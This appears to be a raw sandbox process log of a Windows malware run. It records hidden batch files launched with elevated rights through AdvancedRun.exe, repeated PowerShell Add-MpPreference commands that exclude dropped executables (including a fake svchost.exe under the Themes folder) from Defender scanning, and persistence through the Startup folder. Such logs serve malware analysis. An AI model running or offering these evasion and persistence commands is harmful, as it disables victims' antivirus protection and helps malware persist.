AdvancedRun.exe "C:\Users\test22\AppData\Local\Temp\b4e0ccc1-38c6-4956-8f3c-173d66156970\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\b4e0ccc1-38c6-4956-8f3c-173d66156970\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
7232powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\HostStartups.exe" -Force
7112powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\HostStartups.exe" -Force
8300powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe" -Force
2508powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe" -Force
4376powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\HostStartups.exe" -Force
4764t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe"
3632AdvancedRun.exe "C:\Users\test22\AppData\Local\Temp\16284a5e-7b2c-4388-953c-0be42718caec\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\16284a5e-7b2c-4388-953c-0be42718caec\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2200powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe" -Force
8144powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe" -Force
8388powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\aero\Shell\5ev6d0b9739921ve54Sd\svchost.exe" -Force
1436powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe" -Force
7396powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\aero\Shell\5ev6d0b9739921ve54Sd\svchost.exe" -Force
3680timeout.exe timeout 1
1636t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\t14b8IM7c0bA4XfaOfnc1hcOur946lf69o15K4.exe"
5936powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\aero\Shell\5ev6d0b9739921ve54Sd\svchost.exe" -Force
8604powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\HostStartups.exe" -Force
7352powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\aero\Shell\5ev6d0b9739921ve54Sd\svchost.exe" -Force
3292timeout.exe timeout 1
7196Host.exe "C:\Users\test22\AppData\Roaming\Install\Host.exe" -m "C:\Users\test22\AppData\Local\Temp\HostStartups.exe"
6496AdvancedRun.exe "C:\Users\test22\AppData\Local\Temp\ff3711a4-2337-4e95-9909-244dfe69509b\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\ff3711a4-2337-4e95-9909-244dfe69509b\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
5444powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Install\Host.exe" -Force
7044powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Install\Host.exe" -Force
8676powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\aero\Shell\5ev6d0b9739921ve54Sd\svchost.exe" -Force
6888powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Roaming\Install\Host.exe" -Force
4492powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\aero\Shell\5ev6d0b9739921ve54Sd\svchost.exe" -Force
6236timeout.exe timeout 1
6812Host.exe "C:\Users\test22\AppData\Roaming\Install\Host.exe"
8532